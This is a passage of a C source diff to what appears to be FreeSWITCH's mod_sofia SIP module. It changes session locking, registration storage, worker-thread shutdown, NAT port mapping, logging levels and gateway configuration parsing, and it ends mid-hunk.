@@ -315,8 +397,15 @@
 		} else if (!switch_strlen_zero(sofia_private->uuid)) {
 			if ((session = switch_core_session_locate(sofia_private->uuid))) {
 				tech_pvt = switch_core_session_get_private(session);
-				switch_assert(tech_pvt);
-				channel = switch_core_session_get_channel(tech_pvt->session);
+				channel = switch_core_session_get_channel(session);
+				if (tech_pvt) {
+					switch_mutex_lock(tech_pvt->sofia_mutex);
+					locked = 1;										
+				} else {
+					switch_core_session_rwunlock(session);
+					return;
+				}
+
 				if (status >= 180 && !*sofia_private->auth_gateway_name) {
 					const char *gwname = switch_channel_get_variable(channel, "sip_use_gateway");
 					if (!switch_strlen_zero(gwname)) {
@@ -327,31 +416,23 @@
 					tech_pvt->call_id = switch_core_session_strdup(session, sip->sip_call_id->i_id);
 					switch_channel_set_variable(channel, "sip_call_id", tech_pvt->call_id);
 				}
+
 				if (tech_pvt->gateway_name) {
 					gateway = sofia_reg_find_gateway(tech_pvt->gateway_name);
 				}
+
+				if (channel && switch_channel_down(channel)) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel is already hungup.\n");
+					goto done;
+				}
 			} else {
-				/* too late */
+				/* we can't find the session it must be hanging up or something else, its too late to do anything with it. */
 				return;
 			}
 		}
 	}
 
-	if (session) {
-		if (channel && switch_channel_get_state(channel) >= CS_HANGUP) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel is already hungup.\n");
-			goto done;
-		}
-
-		if (tech_pvt) {
-			switch_mutex_lock(tech_pvt->sofia_mutex);
-			locked = 1;
-		}
-	} else if (sofia_private && sofia_private->is_call) {
-		sofia_private->destroy_me = 22;
-	}
-
-	if ((profile->pflags & PFLAG_AUTH_ALL) && tech_pvt && tech_pvt->key && sip) {
+	if (sofia_test_pflag(profile, PFLAG_AUTH_ALL) && tech_pvt && tech_pvt->key && sip) {
 		sip_authorization_t const *authorization = NULL;
 
 		if (sip->sip_authorization) {
@@ -362,15 +443,14 @@
 
 		if (authorization) {
 			char network_ip[80];
-			su_addrinfo_t *addrinfo = msg_addrinfo(nua_current_request(nua));
-			get_addr(network_ip, sizeof(network_ip), addrinfo->ai_addr, addrinfo->ai_addrlen);
+			sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), NULL);
 			auth_res = sofia_reg_parse_auth(profile, authorization, sip,
 											(char *) sip->sip_request->rq_method_name, tech_pvt->key, strlen(tech_pvt->key), network_ip, NULL, 0,
-											REG_INVITE, NULL);
+											REG_INVITE, NULL, NULL);
 		}
-
+		
 		if (auth_res != AUTH_OK) {
-			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
+			//switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 			nua_respond(nh, SIP_401_UNAUTHORIZED, TAG_END());
 			goto done;
 		}
@@ -387,10 +467,10 @@
 
 	switch (event) {
 	case nua_r_get_params:
-	case nua_r_unregister:
 	case nua_i_fork:
 	case nua_r_info:
 	case nua_r_bye:
+	case nua_r_unregister:
 	case nua_r_unsubscribe:
 	case nua_r_publish:
 	case nua_i_cancel:
@@ -437,6 +517,8 @@
 		sofia_presence_handle_sip_i_publish(nua, profile, nh, sofia_private, sip, tags);
 		break;
 	case nua_i_register:
+		//nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip->sip_contact), NUTAG_WITH_THIS(nua), TAG_END());
+		//nua_handle_destroy(nh);
 		sofia_reg_handle_sip_i_register(nua, profile, nh, sofia_private, sip, tags);
 		break;
 	case nua_i_state:
@@ -448,6 +530,8 @@
 	case nua_i_info:
 		sofia_handle_sip_i_info(nua, profile, nh, session, sip, tags);
 		break;
+	case nua_r_update:
+		break;
 	case nua_r_refer:
 		break;
 	case nua_i_refer:
@@ -476,8 +560,28 @@
 
 	switch (event) {
 	case nua_i_subscribe:
+	case nua_r_notify:
+		check_destroy = 0;
 		break;
+
+	case nua_i_notify:
+		
+		if (sip && sip->sip_event && !strcmp(sip->sip_event->o_type, "dialog") && sip->sip_event->o_params && !strcmp(sip->sip_event->o_params[0], "sla")) {
+			check_destroy = 0;
+		}
+
+		break;
 	default:
+		break;
+	}
+
+	if ((sofia_private && sofia_private == &mod_sofia_globals.destroy_private)) {
+		nua_handle_bind(nh, NULL);
+		nua_handle_destroy(nh);
+		nh = NULL;
+	}
+
+	if (check_destroy) {
 		if (nh && ((sofia_private && sofia_private->destroy_nh) || !nua_handle_magic(nh))) {
 			if (sofia_private) {
 				nua_handle_bind(nh, NULL);
@@ -485,29 +589,31 @@
 			nua_handle_destroy(nh);
 			nh = NULL;
 		}
-		break;
 	}
+	
+	if (sofia_private && sofia_private->destroy_me) {
+		if (tech_pvt) {
+            tech_pvt->sofia_private = NULL;
+        }
 
-	if (sofia_private && sofia_private->destroy_me) {
 		if (nh) {
 			nua_handle_bind(nh, NULL);
 		}
 		sofia_private->destroy_me = 12;
-		free(sofia_private);
-		sofia_private = NULL;
+		sofia_private_free(sofia_private);
 	}
 
 	if (gateway) {
 		sofia_reg_release_gateway(gateway);
 	}
 
+	if (locked && tech_pvt) {
+		switch_mutex_unlock(tech_pvt->sofia_mutex);
+	}
+	
 	if (session) {
 		switch_core_session_rwunlock(session);
 	}
-
-	if (tech_pvt && locked) {
-		switch_mutex_unlock(tech_pvt->sofia_mutex);
-	}
 }
 
 void event_handler(switch_event_t *event)
@@ -517,15 +623,22 @@
 	if ((subclass = switch_event_get_header(event, "orig-event-subclass")) && !strcasecmp(subclass, MY_EVENT_REGISTER)) {
 		char *from_user = switch_event_get_header(event, "orig-from-user");
 		char *from_host = switch_event_get_header(event, "orig-from-host");
+		char *to_host = switch_event_get_header(event, "orig-to-host");
 		char *contact_str = switch_event_get_header(event, "orig-contact");
 		char *exp_str = switch_event_get_header(event, "orig-expires");
 		char *rpid = switch_event_get_header(event, "orig-rpid");
 		char *call_id = switch_event_get_header(event, "orig-call-id");
-		char *user_agent = switch_event_get_header(event, "user-agent");
-		long expires = (long) switch_timestamp(NULL);
+		char *user_agent = switch_event_get_header(event, "orig-user-agent");
+		long expires = (long) switch_epoch_time_now(NULL);
 		char *profile_name = switch_event_get_header(event, "orig-profile-name");
 		char *to_user = switch_event_get_header(event, "orig-to-user");
-		char *presence_hosts = switch_event_get_header(event, "presence-hosts");
+		char *presence_hosts = switch_event_get_header(event, "orig-presence-hosts");
+		char *network_ip = switch_event_get_header(event, "orig-network-ip");
+		char *network_port = switch_event_get_header(event, "orig-network-port");
+		char *username = switch_event_get_header(event, "orig-username");
+		char *realm = switch_event_get_header(event, "orig-realm");
+		char *fixed_contact_str = NULL;
+
 		sofia_profile_t *profile = NULL;
 
 		char guess_ip4[256];
@@ -548,15 +661,38 @@
 			sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'", from_user, from_host);
 		}
 
+		if (mod_sofia_globals.rewrite_multicasted_fs_path && contact_str) {
+			const char *needle = ";fs_path=";
+			char *sptr, *eptr = NULL;
+			/* allocate enough room for worst-case scenario */
+			size_t len = strlen(contact_str) + strlen(to_host) + 14;
+			fixed_contact_str = malloc(len);
+			switch_assert(fixed_contact_str);
+			switch_copy_string(fixed_contact_str, contact_str, len);
+	
+			if ((sptr = strstr(fixed_contact_str, needle))) {
+				char *origsptr = strstr(contact_str, needle);
+				eptr = strchr(++origsptr, ';');
+			} else {
+				sptr = strchr(fixed_contact_str, '\0') - 1;
+			}
+
+			switch_snprintf(sptr, len - (sptr - fixed_contact_str), ";fs_path=sip:%s%s", to_host, eptr ? eptr : ">");
+
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Rewrote contact string from '%s' to '%s'\n", contact_str, fixed_contact_str);
+			contact_str = fixed_contact_str;
+		}
+
 		switch_mutex_lock(profile->ireg_mutex);
 		sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
 		
-		switch_find_local_ip(guess_ip4, sizeof(guess_ip4), AF_INET);
+		switch_find_local_ip(guess_ip4, sizeof(guess_ip4), NULL, AF_INET);
 		sql = switch_mprintf("insert into sip_registrations "
-							 "(call_id,sip_user,sip_host,presence_hosts,contact,status,rpid,expires,user_agent,server_user,server_host,profile_name,hostname) "
-							 "values ('%q', '%q','%q','%q','Registered', '%q', %ld, '%q', '%q', '%q','%q','%q')",
+							 "(call_id, sip_user, sip_host, presence_hosts, contact, status, rpid, expires,"
+							 "user_agent, server_user, server_host, profile_name, hostname, network_ip, network_port, sip_username, sip_realm) "
+							 "values ('%q','%q','%q','%q','%q','Registered','%q',%ld, '%q','%q','%q','%q','%q','%q','%q','%q','%q')",
 							 call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4, 
-							 profile_name,mod_sofia_globals.hostname);
+							 profile_name, mod_sofia_globals.hostname, network_ip, network_port, username, realm);
 
 		if (sql) {
 			sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
@@ -564,10 +700,11 @@
 		}
 		switch_mutex_unlock(profile->ireg_mutex);
 
-
 		if (profile) {
 			sofia_glue_release_profile(profile);
 		}
+
+		switch_safe_free(fixed_contact_str);
 	}
 }
 
@@ -578,7 +715,8 @@
 	uint32_t gateway_loops = 0;
 	int loops = 0;
 	uint32_t qsize;
-
+	void *pop;
+	
 	ireg_loops = IREG_SECONDS;
 	gateway_loops = GATEWAY_SECONDS;
 
@@ -590,7 +728,6 @@
 
 	while ((mod_sofia_globals.running == 1 && sofia_test_pflag(profile, PFLAG_RUNNING)) || qsize) {
 		if (qsize) {
-			void *pop;
 			switch_mutex_lock(profile->ireg_mutex);
 			while (switch_queue_trypop(profile->sql_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
 				sofia_glue_actually_execute_sql(profile, SWITCH_TRUE, (char *) pop, NULL);
@@ -601,35 +738,41 @@
 
 		if (++loops >= 100) {
 			if (++ireg_loops >= IREG_SECONDS) {
-				sofia_reg_check_expire(profile, switch_timestamp(NULL), 0);
+				sofia_reg_check_expire(profile, switch_epoch_time_now(NULL), 0);
 				ireg_loops = 0;
 			}
 
 			if (++gateway_loops >= GATEWAY_SECONDS) {
-				sofia_reg_check_gateway(profile, switch_timestamp(NULL));
+				sofia_reg_check_gateway(profile, switch_epoch_time_now(NULL));
 				gateway_loops = 0;
 			}
 			sofia_sub_check_gateway(profile, time(NULL));
 			loops = 0;
 		}
 
-		switch_yield(10000);
+		switch_cond_next();
 		qsize = switch_queue_size(profile->sql_queue);
 	}
 
+	switch_mutex_lock(profile->ireg_mutex);
+	while (switch_queue_trypop(profile->sql_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+		sofia_glue_actually_execute_sql(profile, SWITCH_TRUE, (char *) pop, NULL);
+		free(pop);
+	}
+	switch_mutex_unlock(profile->ireg_mutex);
+
 	sofia_clear_pflag_locked(profile, PFLAG_WORKER_RUNNING);
 
 	return NULL;
 }
 
-void launch_sofia_worker_thread(sofia_profile_t *profile)
+switch_thread_t *launch_sofia_worker_thread(sofia_profile_t *profile)
 {
 	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr = NULL;
 	int x = 0;
 
 	switch_threadattr_create(&thd_attr, profile->pool);
-	switch_threadattr_detach_set(thd_attr, 1);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
 	switch_threadattr_priority_increase(thd_attr);
 	switch_thread_create(&thread, thd_attr, sofia_profile_worker_thread_run, profile, profile->pool);
@@ -640,6 +783,8 @@
 			break;
 		}
 	}
+
+	return thread;
 }
 
 void *SWITCH_THREAD_FUNC sofia_profile_thread_run(switch_thread_t *thread, void *obj)
@@ -648,12 +793,15 @@
 	switch_memory_pool_t *pool;
 	sip_alias_node_t *node;
 	switch_event_t *s_event;
-	int tportlog = 0;
 	int use_100rel = !sofia_test_pflag(profile, PFLAG_DISABLE_100REL);
 	int use_timer = !sofia_test_pflag(profile, PFLAG_DISABLE_TIMER);
 	const char *supported = NULL;
-	int sanity = 4;
+	int sanity;
+	switch_thread_t *worker_thread;
+	switch_status_t st;
 
+	
+
 	switch_mutex_lock(mod_sofia_globals.mutex);
 	mod_sofia_globals.threads++;
 	switch_mutex_unlock(mod_sofia_globals.mutex);
@@ -669,27 +817,45 @@
 		goto end;
 	}
 
-	if (switch_test_flag(profile, TFLAG_TPORT_LOG)) {
-		tportlog = 1;
-	}
-
 	supported = switch_core_sprintf(profile->pool, "%s%sprecondition, path, replaces", 
 									use_100rel ? "100rel, " : "",
 									use_timer ? "timer, " : ""
 									);
 
+	if (sofia_test_pflag(profile, PFLAG_AUTO_NAT) && switch_core_get_variable("nat_type")) {
+		if (switch_nat_add_mapping(profile->sip_port, SWITCH_NAT_UDP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created UDP nat mapping for %s port %d\n", profile->name, profile->sip_port);
+		}
+		if (switch_nat_add_mapping(profile->sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created TCP nat mapping for %s port %d\n", profile->name, profile->sip_port);
+		}
+		if(sofia_test_pflag(profile, PFLAG_TLS) && switch_nat_add_mapping(profile->tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created TCP/TLS nat mapping for %s port %d\n", profile->name, profile->tls_sip_port);
+		}
+	}
+
 	profile->nua = nua_create(profile->s_root,	/* Event loop */
 							  sofia_event_callback,	/* Callback for processing events */
 							  profile,	/* Additional data to pass to callback */
 							  NUTAG_URL(profile->bindurl),
+							  NTATAG_USER_VIA(1),
 							  TAG_IF(!strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)),
 							  TAG_IF(strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)),
 							  TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile->tls_bindurl)), 
 							  TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile->tls_cert_dir)), 
+							  TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)),
 							  TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile->tls_version)), 
+							  TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)),
 							  TAG_IF(!strchr(profile->sipip, ':'), NTATAG_UDP_MTU(65535)), 
-							  NTATAG_SERVER_RPORT(profile->rport_level), 
-							  TAG_IF(tportlog, TPTAG_LOG(1)), 
+ 							  TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)),
+ 							  TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)),
+							  NTATAG_DEFAULT_PROXY(profile->outbound_proxy),
+							  NTATAG_SERVER_RPORT(profile->rport_level),
+							  TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)), 
+							  TAG_IF(profile->timer_t1, NTATAG_SIP_T1(profile->timer_t1)),
+							  TAG_IF(profile->timer_t1x64, NTATAG_SIP_T1X64(profile->timer_t1x64)),
+							  TAG_IF(profile->timer_t2, NTATAG_SIP_T2(profile->timer_t2)),
+							  TAG_IF(profile->timer_t4, NTATAG_SIP_T4(profile->timer_t4)),
 							  TAG_END());	/* Last tag should always finish the sequence */
 
 	if (!profile->nua) {
@@ -704,6 +870,9 @@
 				   NUTAG_APPL_METHOD("OPTIONS"),
 				   NUTAG_APPL_METHOD("NOTIFY"),
 				   NUTAG_APPL_METHOD("INFO"),
+#ifdef MANUAL_BYE
+				   NUTAG_APPL_METHOD("BYE"),
+#endif
 				   NUTAG_AUTOANSWER(0),
 				   NUTAG_AUTOALERT(0),
 				   NUTAG_ENABLEMESSENGER(1),
@@ -719,9 +888,9 @@
 				   TAG_IF(profile->pres_type, NUTAG_ALLOW("SUBSCRIBE")),
 				   TAG_IF(profile->pres_type, NUTAG_ENABLEMESSAGE(1)),
 				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("presence")),
-				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("dialog")),
+				   TAG_IF((profile->pres_type || sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)), NUTAG_ALLOW_EVENTS("dialog")),
 				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("call-info")),
-				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("sla")),
+				   TAG_IF((profile->pres_type || sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)), NUTAG_ALLOW_EVENTS("sla")),
 				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("include-session-description")),
 				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("presence.winfo")),
 				   TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("message-summary")),
@@ -738,7 +907,6 @@
 
 		nua_set_params(node->nua,
 					   NUTAG_APPL_METHOD("OPTIONS"),
-					   NUTAG_EARLY_MEDIA(1),
 					   NUTAG_AUTOANSWER(0),
 					   NUTAG_AUTOALERT(0),
 					   TAG_IF((profile->mflags & MFLAG_REGISTER), NUTAG_ALLOW("REGISTER")),
@@ -778,10 +946,10 @@
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Starting thread for %s\n", profile->name);
 
-	profile->started = switch_timestamp(NULL);
+	profile->started = switch_epoch_time_now(NULL);
 
 	sofia_set_pflag_locked(profile, PFLAG_RUNNING);
-	launch_sofia_worker_thread(profile);
+	worker_thread = launch_sofia_worker_thread(profile);
 
 	switch_yield(1000000);
 
@@ -792,9 +960,15 @@
 	sofia_clear_pflag_locked(profile, PFLAG_RUNNING);
 
 	switch_core_session_hupall_matching_var("sofia_profile_name", profile->name, SWITCH_CAUSE_MANAGER_REQUEST);
+	sanity = 10;
 	while (profile->inuse) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Waiting for %d session(s)\n", profile->inuse);
 		su_root_step(profile->s_root, 1000);
+		if (!--sanity) {
+			break;
+		} else if (sanity == 5) {
+			switch_core_session_hupall_matching_var("sofia_profile_name", profile->name, SWITCH_CAUSE_MANAGER_REQUEST);
+		}
 	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock %s\n", profile->name);
@@ -802,23 +976,23 @@
 	sofia_reg_unregister(profile);
 	nua_shutdown(profile->nua);
 	su_root_run(profile->s_root);
-
+	
 	sofia_clear_pflag_locked(profile, PFLAG_RUNNING);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Waiting for worker thread\n");
 
-	while (sofia_test_pflag(profile, PFLAG_WORKER_RUNNING)) {
-		switch_yield(100000);
-	}
-
+	switch_thread_join(&st, worker_thread);
+	
+	sanity = 4;
 	while (profile->inuse) {
+		switch_core_session_hupall_matching_var("sofia_profile_name", profile->name, SWITCH_CAUSE_MANAGER_REQUEST);
 		switch_yield(5000000);
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Waiting for %d session(s)\n", profile->inuse);
-		if (!sanity--) {
+		if (!--sanity) {
 			break;
 		}
 	}
 	nua_destroy(profile->nua);
-
+	
 	switch_mutex_lock(profile->ireg_mutex);
 	switch_mutex_unlock(profile->ireg_mutex);
 
@@ -841,6 +1015,18 @@
 		switch_event_fire(&s_event);
 	}
 
+	if (sofia_test_pflag(profile, PFLAG_AUTO_NAT) && switch_core_get_variable("nat_type")) {
+		if (switch_nat_del_mapping(profile->sip_port, SWITCH_NAT_UDP) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleted UDP nat mapping for %s port %d\n", profile->name, profile->sip_port);
+		}
+		if (switch_nat_del_mapping(profile->sip_port, SWITCH_NAT_TCP) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleted TCP nat mapping for %s port %d\n", profile->name, profile->sip_port);
+		}
+		if(sofia_test_pflag(profile, PFLAG_TLS) && switch_nat_del_mapping(profile->tls_sip_port, SWITCH_NAT_TCP) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleted TCP/TLS nat mapping for %s port %d\n", profile->name, profile->tls_sip_port);
+		}
+	}
+
 	sofia_glue_sql_close(profile);
 	su_home_unref(profile->home);
 	su_root_destroy(profile->s_root);
@@ -880,30 +1066,83 @@
 
 static void logger(void *logarg, char const *fmt, va_list ap)
 {
-	char *data = NULL;
+	if (fmt && ap) {
+		switch_log_vprintf(SWITCH_CHANNEL_LOG_CLEAN, mod_sofia_globals.tracelevel, fmt, ap);
+	} else if (fmt && !ap) {
+		switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, mod_sofia_globals.tracelevel, "%s", fmt);
+	}
+}
 
-	if (fmt) {
-#ifdef HAVE_VASPRINTF
-		int ret;
-		ret = vasprintf(&data, fmt, ap);
-		if ((ret == -1) || !data) {
-			return;
-		}
-#else
-		data = (char *) malloc(2048);
-		if (data) {
-			vsnprintf(data, 2048, fmt, ap);
-		} else {
-			return;
-		}
-#endif
+static su_log_t *sofia_get_logger(const char *name) 
+{
+	if (!strcasecmp(name, "tport")) {
+		return tport_log;
+	} else if (!strcasecmp(name, "iptsec")) {
+		return iptsec_log;
+	} else if (!strcasecmp(name, "nea")) {
+		return nea_log;
+	} else if (!strcasecmp(name, "nta")) {
+		return nta_log;
+	} else if (!strcasecmp(name, "nth_client")) {
+		return nth_client_log;
+	} else if (!strcasecmp(name, "nth_server")) {
+		return nth_server_log;
+	} else if (!strcasecmp(name, "nua")) {
+		return nua_log;
+	} else if (!strcasecmp(name, "sresolv")) {
+		return sresolv_log;
+	} else if (!strcasecmp(name, "stun")) {
+		return stun_log;
+	} else if (!strcasecmp(name, "default")) {
+		return su_log_default;
+	} else {
+		return NULL;
 	}
-	if (data) {
-		switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_CONSOLE, (char *) "%s", data);
-		free(data);
+}
+
+switch_status_t sofia_set_loglevel(const char *name, int level)
+{
+	su_log_t *log = NULL;
+	
+	if (level < 0 || level > 9) {
+		return SWITCH_STATUS_FALSE;
 	}
+		
+	if (!strcasecmp(name, "all")) {
+		su_log_set_level(su_log_default, level);
+		su_log_set_level(tport_log, level);
+		su_log_set_level(iptsec_log, level);
+		su_log_set_level(nea_log, level);
+		su_log_set_level(nta_log, level);
+		su_log_set_level(nth_client_log, level);
+		su_log_set_level(nth_server_log, level);
+		su_log_set_level(nua_log, level);
+		su_log_set_level(soa_log, level);
+		su_log_set_level(sresolv_log, level);
+		su_log_set_level(stun_log, level);
+		return SWITCH_STATUS_SUCCESS;
+	}
+	
+	if (!(log = sofia_get_logger(name))) {
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	su_log_set_level(log, level);
+		
+	return SWITCH_STATUS_SUCCESS;
 }
 
+int sofia_get_loglevel(const char *name)
+{
+	su_log_t *log = NULL;
+	
+	if ((log = sofia_get_logger(name))) {
+		return log->log_level;
+	} else {
+		return -1;
+	}
+}
+
 static void parse_gateway_subscriptions(sofia_profile_t *profile, sofia_gateway_t *gateway, switch_xml_t gw_subs_tag)
 {
 	switch_xml_t subscription_tag, param;
@@ -953,7 +1192,7 @@
 
 static void parse_gateways(sofia_profile_t *profile, switch_xml_t gateways_tag)
 {
-	switch_xml_t gateway_tag, param, gw_subs_tag;
+	switch_xml_t gateway_tag, param = NULL, x_params, gw_subs_tag;
 	sofia_gateway_t *gp;
 
 	for (gateway_tag = switch_xml_child(gateways_tag, "gateway"); gateway_tag; gateway_tag = gateway_tag->next) {
@@ -974,6 +1213,8 @@
 
 		if ((gateway = switch_core_alloc(profile->pool, sizeof(*gateway)))) {
 			const char *sipip, *format;
+			switch_uuid_t uuid;
+			uint32_t ping_freq = 0, extension_in_contact = 0;
 			char *register_str = "true", *scheme = "Digest",
 				*realm = NULL,
 				*username = NULL,
@@ -982,13 +1223,15 @@
 				*caller_id_in_from = "false",
 				*extension = NULL,
 				*proxy = NULL,
-				*context = "default",
+				*context = profile->context,
 				*expire_seconds = "3600",
 				*retry_seconds = "30",
-				*from_user = "", *from_domain = "", *register_proxy = NULL, *contact_params = NULL, *params = NULL, *register_transport = NULL;
+				*from_user = "", *from_domain = NULL, *outbound_proxy = NULL, *register_proxy = NULL, *contact_host = NULL,
+				*contact_params = NULL, *params = NULL, *register_transport = NULL;
 			
-			uint32_t ping_freq = 0;
-			switch_uuid_t uuid;
+			if (!context) {
+				context = "default";
+			}
 			
 			switch_uuid_get(&uuid);
 			switch_uuid_format(gateway->uuid_str, &uuid);
@@ -1001,8 +1244,55 @@
 			gateway->next = NULL;
 			gateway->ping = 0;
 			gateway->ping_freq = 0;
+			
+			
+			if ((x_params = switch_xml_child(gateway_tag, "variables"))) {
+				param = switch_xml_child(x_params, "variable");
+			} else {
+				param = switch_xml_child(gateway_tag, "variable");
+			}
+			
+			
+			for (; param; param = param->next) {
+				const char *var = switch_xml_attr(param, "name");
+				const char *val = switch_xml_attr(param, "value");
+				const char *direction = switch_xml_attr(param, "direction");
+				int in = 0, out = 0;
+				
+				if (var && val) {
+					if (direction) {
+						if (!strcasecmp(direction, "inbound")) {
+							in = 1;
+						} else if (!strcasecmp(direction, "outbound")) {
+							out = 1;
+						}
+					} else {
+						in = out = 1;
+					}
 
-			for (param = switch_xml_child(gateway_tag, "param"); param; param = param->next) {
+					if (in) {
+						if (!gateway->ib_vars) {
+							switch_event_create_plain(&gateway->ib_vars, SWITCH_EVENT_GENERAL);
+						}
+						switch_event_add_header_string(gateway->ib_vars, SWITCH_STACK_BOTTOM, var, val);
+					}
+
+					if (out) {
+						if (!gateway->ob_vars) {
+							switch_event_create_plain(&gateway->ob_vars, SWITCH_EVENT_GENERAL);
+						}
+						switch_event_add_header_string(gateway->ob_vars, SWITCH_STACK_BOTTOM, var, val);
+					}
+				}
+			}
+
+			if ((x_params = switch_xml_child(gateway_tag, "params"))) {
+				param = switch_xml_child(x_params, "param");
+			} else {
+				param = switch_xml_child(gateway_tag, "param");
+			}
+			
+			for (; param; param = param->next) {
 				char *var = (char *) switch_xml_attr_soft(param, "name");
 				char *val = (char *) switch_xml_attr_soft(param, "value");
 				
@@ -1014,6 +1304,8 @@
 					realm = val;
 				} else if (!strcmp(var, "username")) {
 					username = val;
+				} else if (!strcmp(var, "extension-in-contact")) {
+					extension_in_contact = switch_true(val);
 				} else if (!strcmp(var, "auth-username")) {
 					auth_username = val;
 				} else if (!strcmp(var, "password")) {
@@ -1038,8 +1330,12 @@
 					from_user = val;
 				} else if (!strcmp(var, "from-domain")) {
 					from_domain = val;
+				} else if (!strcmp(var, "contact-host")) {
+					contact_host = val;
 				} else if (!strcmp(var, "register-proxy")) {
 					register_proxy = val;
+				} else if (!strcmp(var, "outbound-proxy")) {
+					outbound_proxy = val;
 				} else if (!strcmp(var, "contact-params")) {
 					contact_params = val;
 				} else if (!strcmp(var, "register-transport")) {
@@ -1057,7 +1353,7 @@
 			if (ping_freq) {
 				if (ping_freq >= 5) {
 					gateway->ping_freq = ping_freq;
-					gateway->ping = switch_timestamp(NULL) + ping_freq;
+					gateway->ping = switch_epoch_time_now(NULL) + ping_freq;
 				} else {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ERROR: invalid ping!\n");
 				}
@@ -1068,7 +1364,11 @@
 			}
 			
 			if (switch_strlen_zero(realm)) {
-				realm = name;
+				if (switch_strlen_zero(proxy)) {
+					realm = name;
+				} else {
+					realm = proxy;
+				}
 			}
 
 			if (switch_strlen_zero(username)) {
@@ -1098,10 +1398,6 @@
 				gateway->status = SOFIA_GATEWAY_UP;
 			}
 
-			if (switch_strlen_zero(from_domain)) {
-				from_domain = realm;
-			}
-
 			if (switch_strlen_zero(auth_username)) {
 				auth_username = username;
 			}
@@ -1114,22 +1410,35 @@
 				}
 			}
 
+			if (!switch_strlen_zero(outbound_proxy)) {
+				if (strncasecmp(outbound_proxy, "sip:", 4) && strncasecmp(outbound_proxy, "sips:", 5)) {
+					gateway->outbound_sticky_proxy = switch_core_sprintf(gateway->pool, "sip:%s", outbound_proxy);
+				} else {
+					gateway->outbound_sticky_proxy = switch_core_strdup(gateway->pool, outbound_proxy);
+				}
+			}
+
 			gateway->retry_seconds = atoi(retry_seconds);
+
 			if (gateway->retry_seconds < 5) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid retry-seconds of %d on gateway %s, using the value of 30 instead.\n",
 								  gateway->retry_seconds, name);
 				gateway->retry_seconds = 30;
 			}
+
 			gateway->register_scheme = switch_core_strdup(gateway->pool, scheme);
 			gateway->register_context = switch_core_strdup(gateway->pool, context);
 			gateway->register_realm = switch_core_strdup(gateway->pool, realm);
 			gateway->register_username = switch_core_strdup(gateway->pool, username);
 			gateway->auth_username = switch_core_strdup(gateway->pool, auth_username);
 			gateway->register_password = switch_core_strdup(gateway->pool, password);
+
 			if (switch_true(caller_id_in_from)) {
-				switch_set_flag(gateway, REG_FLAG_CALLERID);
